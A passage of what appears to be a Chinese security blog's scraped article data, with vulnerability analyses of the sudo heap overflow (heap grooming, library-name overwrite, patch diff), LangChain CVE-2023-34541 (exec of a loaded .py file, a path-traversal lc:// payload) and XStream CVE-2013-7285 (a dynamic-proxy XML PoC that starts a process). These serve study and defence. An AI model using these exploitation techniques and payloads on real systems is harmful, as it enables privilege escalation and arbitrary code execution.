language[_territory[.codeset]][@modifier]\r\n187: \r\n188:     Beside the first all of them are allowed to be missing. If the\r\n189:     full specified locale is not found, the less specific one are\r\n190:     looked for. The various part will be stripped off according to\r\n191:     the following order:\r\n192: (1) codeset\r\n193: (2) normalized codeset\r\n194: (3) territory\r\n195: (4) modifier\r\n196:   *\u002F\r\n       \u002F*\r\n       区域的格式为C_en_US.UTF-8@XXXXXX\r\n       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失\r\n       *\u002F\r\n197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory,\r\n198:   &codeset, &normalized_codeset);\r\n199:   if (mask == -1)\r\n200:     \u002F* Memory allocate problem. *\u002F\r\n201:     return NULL;\r\n202: \r\n   \u002F\u002Flocale_file则给区域设置进行动态内存的分配\r\n205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],\r\n206:    locale_path, locale_path_len, mask,\r\n207:    language, territory, codeset,\r\n208:    normalized_codeset, modifier,\r\n209:    _nl_category_names_get (category), 0); \u002F\u002F返回NULL\r\n210: \r\n211:   if (locale_file == NULL)\r\n212:     {\r\n213:       \u002F* Find status record for addressed locale file. We have to search\r\n214: through all directories in the locale path. *\u002F\r\n215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],\r\n216: locale_path, locale_path_len, mask,\r\n217: language, territory, codeset,\r\n218: normalized_codeset, modifier,\r\n219: _nl_category_names_get (category), 1);\r\n220:       if (locale_file == NULL)\r\n221: \u002F* This means we are out of core. *\u002F\r\n222: return NULL;\r\n223:     }\r\n}\r\n\r\n_nl_make_l10nflist**函数**\r\n\r\n_nl_make_l10nflist会根据我们传入的值进行堆块的分配。\r\n\r\nFile: intl\\l10nflist.c\r\n150: struct loaded_l10nfile *\r\n151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,\r\n152:    const char *dirlist, size_t dirlist_len,\r\n153:    int mask, const char *language, const char *territory,\r\n154:    const char *codeset, const char *normalized_codeset,\r\n155:    const char *modifier,\r\n156:    const char *filename, int do_allocate)\r\n157: {\r\n   ...\r\n165:   \u002F\u002F根据我们传入的区域值的长度进行动态分配\r\n166:   abs_filename = (char *) malloc (dirlist_len\r\n167:  + strlen (language)\r\n168:  + ((mask & XPG_TERRITORY) != 0\r\n169:     ? strlen (territory) + 1 : 0)\r\n170:  + ((mask & XPG_CODESET) != 0\r\n171:     ? strlen (codeset) + 1 : 0)\r\n172:  + ((mask & XPG_NORM_CODESET) != 0\r\n173:     ? strlen (normalized_codeset) + 1 : 0)\r\n174:  + ((mask & XPG_MODIFIER) != 0\r\n175:     ? strlen (modifier) + 1 : 0)\r\n176:  + 1 + strlen (filename) + 1);\r\n177: \r\n   ...\r\n292: }\r\n \r\n\r\nsetlocale**函数**\r\n\r\nsetlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。\r\n\r\nFile: locale\\setlocale.c\r\n334:       while (category-- \u003E 0)\r\n335: if (category != LC_ALL)\r\n336: {\r\n   \u002F\u002F通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中\r\n337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len,\r\n338: category,\r\n339: &newnames[category]);\r\n340: \r\n ...\r\n364: else\r\n365: {\r\n   \u002F\u002F使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去\r\n366:    newnames[category] = __strdup (newnames[category]);\r\n367:    if (newnames[category] == NULL)\r\n368:      break;\r\n369: }\r\n   ...\r\n393:  if (category != LC_ALL && newnames[category] != _nl_C_name\r\n394:      && newnames[category] != _nl_global_locale.__names[category])\r\n395:    free ((char *) newnames[category]); \u002F\u002F这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉\r\n \r\n\r\n因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。\r\n\r\nLC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free()\r\n\r\nexp的分析\r\n\r\n由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。\r\n\r\n紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的\r\n\r\n将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小\r\n\r\n 使用错误的区域值进行堆块的释放\r\n\r\n最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni-\u003Elibrary中用\\x00填充,而\\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\\x00',那么我们就能将\\x00的值直接拷贝的堆内存中。紧接着将ni-\u003Ename修改为我们认为构造的动态链接库即可。\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n866: if (from[0] == '\\\\' && !isspace((unsigned char)from[1])) \u002F\u002F若 '\\' 后跟着'\\x00'\r\n867:    from++; \u002F\u002F此时from会指向\\x00\r\n868: *to++ = *from++; \u002F\u002F使用\\x00进行值的拷贝\r\n869:   }\r\n\r\n设置多个环境变量使得内存存在多个'' + '\\x00',从而使用'\\x00'去覆盖堆的内存值。\r\n\r\n演示效果如下\r\n\r\n漏洞修复\r\n\r\n漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\\0'的校验\r\n\r\n \r\n--- a\u002Fplugins\u002Fsudoers\u002Fsudoers.c Sat Jan 23 08:43:59 2021 -0700\r\n+++ b\u002Fplugins\u002Fsudoers\u002Fsudoers.c Sat Jan 23 08:43:59 2021 -0700\r\n@@ -547,7 +547,7 @@\r\n \r\n     \u002F* If run as root with SUDO_USER set, set sudo_user.pw to that user. *\u002F\r\n     \u002F* XXX - causes confusion when root is not listed in sudoers *\u002F\r\n-    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {\r\n+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {\r\n if (user_uid == 0 && strcmp(prev_user, \"root\") != 0) {\r\n    struct passwd *pw;\r\n \r\n@@ -932,8 +932,8 @@\r\n     if (user_cmnd == NULL)\r\n user_cmnd = NewArgv[0];\r\n \r\n-    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {\r\n- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {\r\n+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {\r\n+ if (!ISSET(sudo_mode, MODE_EDIT)) { \u002F\u002F对MODE_EDIT进行了额外的判断\r\n    const char *runchroot = user_runchroot;\r\n    if (runchroot == NULL && def_runchroot != NULL &&\r\n    strcmp(def_runchroot, \"*\") != 0)\r\n@@ -961,7 +961,8 @@\r\n sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\r\n debug_return_int(NOT_FOUND_ERROR);\r\n   }\r\n-    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {\r\n+    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&\r\n+    ISSET(sudo_mode, MODE_RUN)) { \u002F\u002F需要sudo -s才能进行转义\r\n \u002F*\r\n * When running a command via a shell, the sudo front-end\r\n * escapes potential meta chars. We unescape non-spaces\r\n@@ -969,10 +970,22 @@\r\n *\u002F\r\n for (to = user_args, av = NewArgv + 1; (from = *av); av++) {\r\n    while (*from) {\r\n- if (from[0] == '\\\\' && !isspace((unsigned char)from[1]))\r\n+ if (from[0] == '\\\\' && from[1] != '\\0' &&  \u002F\u002F增加了'\\0'的判断\r\n+ !isspace((unsigned char)from[1])) {\r\n    from++;\r\n+ }\r\n+ if (size - (to - user_args) \u003C 1) {\r\n+    sudo_warnx(U_(\"internal error, %s overflow\"),\r\n+ __func__);\r\n+    debug_return_int(NOT_FOUND_ERROR);\r\n+ }\r\n *to++ = *from++;\r\n   }\r\n+    if (size - (to - user_args) \u003C 1) {\r\n+ sudo_warnx(U_(\"internal error, %s overflow\"),\r\n+    __func__);\r\n+ debug_return_int(NOT_FOUND_ERROR);\r\n+   }\r\n    *to++ = ' ';\r\n }\r\n *--to = '\\0';\r\n\r\n总结\r\n\r\nSudo堆溢出攻击流程\r\n\r\n首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。\r\n\r\n其次利用堆溢出将server_user堆块的ni-\u003Ename值覆盖,覆盖的值为恶意构造的动态链接库名。\r\n\r\n最后等待动态链接库被加载执行。\r\n\r\nSudo堆溢出利用的限制\r\n\r\n由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306281532430.png",openTime:"2023-06-28T16:09:07+08:00",viewsNum:5351},{id:"20230627152728",type:a,title:"LangChain 任意命令执行(CVE-2023-34541)",abstract:"漏洞简介\r\n\r\nLangChain是一个用于开发由语言模型驱动的应用程序的框架。\r\n\r\n在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。\r\n\r\n漏洞复现\r\n\r\n在项目下编写 test.py \r\n\r\nfrom langchain.prompts import load_prompt\r\nif __name__ == '__main__':\r\n    loaded_prompt = load_prompt(\"system.py\")\r\n\r\n同级目录下编写 system.py 执行系统命令 dir \r\n\r\nimport os\r\nos.system(\"dir\")\r\n\r\n运行 test.py 返回了执行系统命令dir 的结果\r\n\r\n 漏洞分析-_load_prompt_from_file \r\n\r\nlangchain.prompts.loading.load_prompt \r\n\r\ntry_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file \r\n\r\nlangchain.prompts.loading._load_prompt_from_file \r\n\r\n在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行\r\n\r\n也就相当于,代码可以简写为\r\n\r\nif __name__ == '__main__':\r\n    file_path = \"system.py\"\r\n    with open(file_path, \"rb\") as f:\r\n        exec(f.read())\r\n\r\n‍\r\n\r\n漏洞分析-try_load_from_hub \r\n\r\n因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析\r\n\r\nfrom langchain.prompts import load_prompt\r\n \r\nif __name__ == '__main__':\r\n    loaded_prompt = load_prompt(\"lc:\u002F\u002Fprompts\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fsystem.py\")\r\n\r\nlangchain.prompts.loading.load_prompt \r\n\r\nlangchain.utilities.loading.try_load_from_hub \r\n\r\n首先匹配了 HUB_PATH_RE = re.compile(r\"lc(?Pref@[^:]+)?:\u002F\u002F(?Ppath.*)\") 所以需要满足最开始是 lc:\u002F\u002F \r\n\r\n然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中\r\n\r\n最后拼接请求的url 可以通过 ..\u002F..\u002F..\u002F 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行\r\n\r\n漏洞小结\r\n\r\n在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306271456561.png",openTime:"2023-06-27T15:27:45+08:00",viewsNum:5510},{id:"20230625154503",type:a,title:"Java 反序列化之 XStream 反序列化",abstract:"0x01 XStream 基础\r\n\r\nXStream 简介\r\n\r\nXStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。\r\n\r\n使用 XStream 实现序列化与反序列化\r\n\r\n下面看下如何使用 XStream 进行序列化和反序列化操作的。\r\n\r\n先定义接口类\r\n\r\nIPerson.java\r\n\r\npublic interface IPerson {  \r\n    void output();  \r\n}\r\n\r\n接着定义 Person 类实现前面的接口:\r\n\r\npublic class Person implements IPerson {  \r\n    String name;  \r\n    int age;  \r\n  \r\n    public void output() {  \r\n        System.out.print(\"Hello, this is \" + this.name + \", age \" + this.age);  \r\n   }  \r\n}\r\n\r\nXStream 序列化是调用 XStream.toXML() 来实现的:\r\n\r\npublic class Serialize {  \r\n    public static void main(String[] args) {  \r\n        Person p = new Person();  \r\n        p.age = 6;  \r\n        p.name = \"Drunkbaby\";  \r\n        XStream xstream = new XStream(new DomDriver());  \r\n        String xml = xstream.toXML(p);  \r\n        System.out.println(xml);  \r\n   }  \r\n}\r\n\r\nXStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以:\r\n\r\nDeserialize.java\r\n\r\nimport com.thoughtworks.xstream.XStream;  \r\nimport com.thoughtworks.xstream.io.xml.DomDriver;  \r\n  \r\nimport java.io.File;  \r\nimport java.io.FileInputStream;  \r\nimport java.io.FileNotFoundException;  \r\nimport java.util.Scanner;  \r\n  \r\npublic class Deserialize {  \r\n    public static void main(String[] args) throws FileNotFoundException {  \r\n\u002F\u002F       String xml = new Scanner(new File(\"person.xml\")).useDelimiter(\"\\\\Z\").next();  \r\n        FileInputStream xml = new FileInputStream(\"G:\\\\OneDrive - yapuu\\\\Java安全学习\\\\JavaSecurityLearning\\\\JavaSecurity\\\\XStream\\\\XStream\\\\XStream-Basic\\\\src\\\\main\\\\java\\\\person.xml\");  \r\n        XStream xstream = new XStream(new DomDriver());  \r\n        Person p = (Person) xstream.fromXML(xml);  \r\n        p.output();  \r\n   }  \r\n}\r\n\r\nXStream 几个部分\r\n\r\nXStream 类图,参考.\u002Fhttps:\u002F\u002Fwww.jianshu.com\u002Fp\u002F387c568faf62:\r\n\r\n主要分为四个部分:\r\n\r\nMarshallingStrategy 编码策略\r\n\r\n\r\nmarshall : object-\u003Exml 编码\r\n\r\n\r\nunmarshall : xml-\u003E object 解码\r\n\r\n\r\n两个重要的实现类:\r\n\r\n\r\ncom.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 \r\n\r\n\r\n调用 Mapper 和 Converter 把 XML 转化成 Java 对象\r\n\r\n\r\n其中的 start 方法开始编组\r\n\r\n其中调用了 this.convertAnother(item) 方法\r\n\r\nconvertAnother 方法的作用是把 XML 转化成 Java 对象。\r\n\r\nMapper 映射器\r\n\r\n简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。\r\n\r\nConverter 转换器\r\n\r\nXStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。\r\n\r\n转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。\r\n\r\n简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。\r\n\r\n转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher\r\n\r\n\r\ncanConvert 方法:告诉 XStream 对象,它能够转换的对象;\r\n\r\n\r\nmarshal 方法:能够将对象转换为 XML 时候的具体操作;\r\n\r\n\r\nunmarshal 方法:能够将 XML 转换为对象时的具体操作;\r\n\r\n\r\n具体参考:http:\u002F\u002Fx-stream.github.io\u002Fconverters.html\r\n\r\n这里告诉了我们针对各种对象,XStream 都做了哪些支持。\r\n\r\nEventHandler 类\r\n\r\nEventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。\r\n\r\nEventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。\r\n\r\nEventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()-\u003EEventHandler.invokeInternal()-\u003EMethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用:\r\n\r\npublic class EventHandler implements InvocationHandler {  \r\n    private Object target;  \r\n    private String action;  \r\n ...  \r\n  \r\n public Object invoke(final Object proxy, final Method method, final Object[] arguments) {  \r\n       ...  \r\n                return invokeInternal(proxy, method, arguments);  \r\n       ...  \r\n   }  \r\n      \r\n private Object invokeInternal(Object proxy, Method method, Object[] arguments) {  \r\n       ...  \r\n              \r\n                Method targetMethod = Statement.getMethod(  \r\n                             target.getClass(), action, argTypes);  \r\n               ...  \r\n                return MethodUtil.invoke(targetMethod, target, newArgs);  \r\n           }  \r\n           ...  \r\n   }  \r\n  \r\n ...  \r\n}\r\n\r\n这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释:\r\n\r\nprivate Object invokeInternal(Object var1, Method var2, Object[] var3) {  \r\n\u002F\u002F-------------------------------------part1----------------------------------  \r\n\u002F\u002F作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称  \r\n        String var4 = var2.getName();  \r\n        if (var2.getDeclaringClass() == Object.class) {  \r\n            if (var4.equals(\"hashCode\")) {  \r\n                return new Integer(System.identityHashCode(var1));  \r\n           }  \r\n  \r\n            if (var4.equals(\"equals\")) {  \r\n                return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;  \r\n           }  \r\n  \r\n            if (var4.equals(\"toString\")) {  \r\n                return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());  \r\n           }  \r\n       }  \r\n\u002F\u002F-------------------------------------part2----------------------------------  \r\n\u002F\u002F貌似获取了一个class和object  \r\n        if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {  \r\n            return null;  \r\n       } else {  \r\n            Class[] var5 = null;  \r\n            Object[] var6 = null;  \r\n            if (this.eventPropertyName == null) {  \r\n                var6 = new Object[0];  \r\n                var5 = new Class[0];  \r\n           } else {  \r\n                Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());  \r\n                var6 = new Object[]{var7};  \r\n                var5 = new Class[]{var7 == null ? null : var7.getClass()};  \r\n           }  \r\n\u002F\u002F------------------------------------------------------------------------------  \r\n            try {  \r\n                int var12 = this.action.lastIndexOf(46);  \r\n                if (var12 != -1) {  \r\n                    this.target = this.applyGetters(this.target, this.action.substring(0, var12));  \r\n                    this.action = this.action.substring(var12 + 1);  \r\n               }  \r\n\u002F\u002F--------------------------------------part3----------------------------------------  \r\n\u002F\u002Fvar13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException  \r\n                Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);  \r\n\u002F\u002F--------------------------------------------------------------------------  \r\n\u002F\u002F判断var13是否为空,当然不为空啦  \r\n                if (var13 == null) {  \r\n                    var13 = Statement.getMethod(this.target.getClass(), \"set\" + NameGenerator.capitalize(this.action), var5);  \r\n               }  \r\n  \r\n                if (var13 == null) {  \r\n                    String var9 = var5.length == 0 ? \" with no arguments\" : \" with argument \" + var5[0];  \r\n                    throw new RuntimeException(\"No method called \" + this.action + \" on \" + this.target.getClass() + var9);  \r\n               } else {  \r\n\u002F\u002F-------------------------------------part4----------------------------------  \r\n\u002F\u002F调用invoke,调用函数,执行命令  \r\n                    return MethodUtil.invoke(var13, this.target, var6);  \r\n               }  \r\n\u002F\u002F------------------------------------------------------------------------------  \r\n           } catch (IllegalAccessException var10) {  \r\n                throw new RuntimeException(var10);  \r\n           } catch (InvocationTargetException var11) {  \r\n                Throwable var8 = var11.getTargetException();  \r\n                throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);  \r\n           }  \r\n       }  \r\n}\r\n\r\n有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink\r\n\r\nDynamicProxyConverter 动态代理转换器\r\n\r\nDynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:\r\n\r\nXStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。\r\n\r\n以官网给的例子为例:\r\n\r\n\u003Cdynamic-proxy\u003E  \r\n  \u003Cinterface\u003Ecom.foo.Blah\u003C\u002Finterface\u003E  \r\n  \u003Cinterface\u003Ecom.foo.Woo\u003C\u002Finterface\u003E  \r\n  \u003Chandler class=\"com.foo.MyHandler\"\u003E  \r\n    \u003Csomething\u003Eblah\u003C\u002Fsomething\u003E  \r\n  \u003C\u002Fhandler\u003E  \r\n\u003C\u002Fdynamic-proxy\u003E\r\n\r\ndynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler\r\n\r\n0x02 CVE-2013-7285\r\n\r\nPoC\r\n\r\n\u003Csorted-set\u003E  \r\n  \u003Cdynamic-proxy\u003E  \r\n    \u003Cinterface\u003Ejava.lang.Comparable\u003C\u002Finterface\u003E  \r\n    \u003Chandler class=\"java.beans.EventHandler\"\u003E  \r\n      \u003Ctarget class=\"java.lang.ProcessBuilder\"\u003E  \r\n        \u003Ccommand\u003E  \r\n          \u003Cstring\u003ECalc\u003C\u002Fstring\u003E  \r\n        \u003C\u002Fcommand\u003E  \r\n      \u003C\u002Ftarget\u003E  \r\n      \u003Caction\u003Estart\u003C\u002Faction\u003E  \r\n    \u003C\u002Fhandler\u003E  \r\n  \u003C\u002Fdynamic-proxy\u003E  \r\n\u003C\u002Fsorted-set\u003E\r\n\r\n看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了\r\n\r\n触发代码\r\n\r\nimport com.thoughtworks.xstream.XStream;  \r\nimport com.thoughtworks.xstream.io.xml.DomDriver;  \r\n  \r\nimport java.io.FileInputStream;  \r\n  \r\n\u002F\u002F CVE_2013_7285 Exploit  \r\npublic class CVE_2013_7285 {  \r\n    public static void main(String[] args) throws Exception{  \r\n        FileInputStream fileInputStream = new FileInputStream(\"G:\\\\OneDrive - yapuu\\\\Java安全学习\\\\JavaSecurityLearning\\\\JavaSecurity\\\\XStream\\\\XStream\\\\XStream-Basic\\\\src\\\\main\\\\java\\\\person.xml\");  \r\n        XStream xStream = new XStream(new DomDriver());  \r\n        xStream.fromXML(fileInputStream);  \r\n   }  \r\n}\r\n\r\n漏洞原理\r\n\r\nXStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。\r\n\r\n利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。\r\n\r\n漏洞分析\r\n\r\n下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型\r\n\r\n后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型\r\n\r\n接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器\r\n\r\n往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。\r\n\r\n接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法:\r\n\r\n在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。\r\n\r\n跟进之后就变得一目了然了,其中判断 reader 是否还有子元素\r\n\r\n下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker\r\n\r\n往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:\r\n\r\n跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中\r\n\r\n这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 \u003Cdynamic-proxy\u003E,这里有点像是递归调用\r\n\r\n可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)\r\n\r\n经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。\r\n\r\n先判断当前元素是否还有子元素,并获取该子元素进行后续判断\r\n\r\n根据我们所编写的 xml,获取到的子元素为 \u003Cinterface\u003E,经过判断 if (elementName.equals(\"interface\")),如果为 true,则将目前 \u003Cinterface\u003E 节点的元素获取到,再获得转换类型。\r\n\r\n因为仍旧存在子元素,获取完 \u003Cinterface\u003E 后重新进入这个迭代,下一个获取到的子元素是 \u003Chandler\u003E。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。\r\n\r\n往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类\r\n\r\n往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 \u003Chandler\u003E 节点之下还有很多子节点(又看到了熟悉的 hasChildren()\r\n\r\n这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法\r\n\r\n后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。\r\n\r\n将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方\r\n\r\n跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据\r\n\r\n最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的\r\n\r\ninvoke:428, EventHandler (java.beans)\r\ncompareTo:-1, $Proxy0 (com.sun.proxy)\r\ncompare:1294, TreeMap (java.util)\r\nput:538, TreeMap (java.util)\r\nputAll:281, AbstractMap (java.util)\r\nputAll:327, TreeMap (java.util)\r\npopulateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)\r\n\r\n最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行\r\n\r\n0x03 漏洞修复\r\n\r\n根据官方的修复手段,这里其实增加了黑名单\r\n\r\nUsers can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:\r\n\r\nxstream.registerConverter(new Converter() {\r\n  public boolean canConvert(Class type) {\r\n    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));\r\n }\r\n \r\n  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\r\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\r\n }\r\n \r\n  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\r\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\r\n }\r\n}, XStream.PRIORITY_LOW);\r\n\r\n0x04 小结\r\n\r\nXStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306251455181.png",openTime:"2023-06-25T15:45:17+08:00",viewsNum:5303},{id:"20230621161632",type:a,title:"浅析GeoServer CVE-2023-25157 SQL注入",abstract:"简介\r\n\r\nGeoServer是一个开源的地图服务器,它是遵循OpenGIS 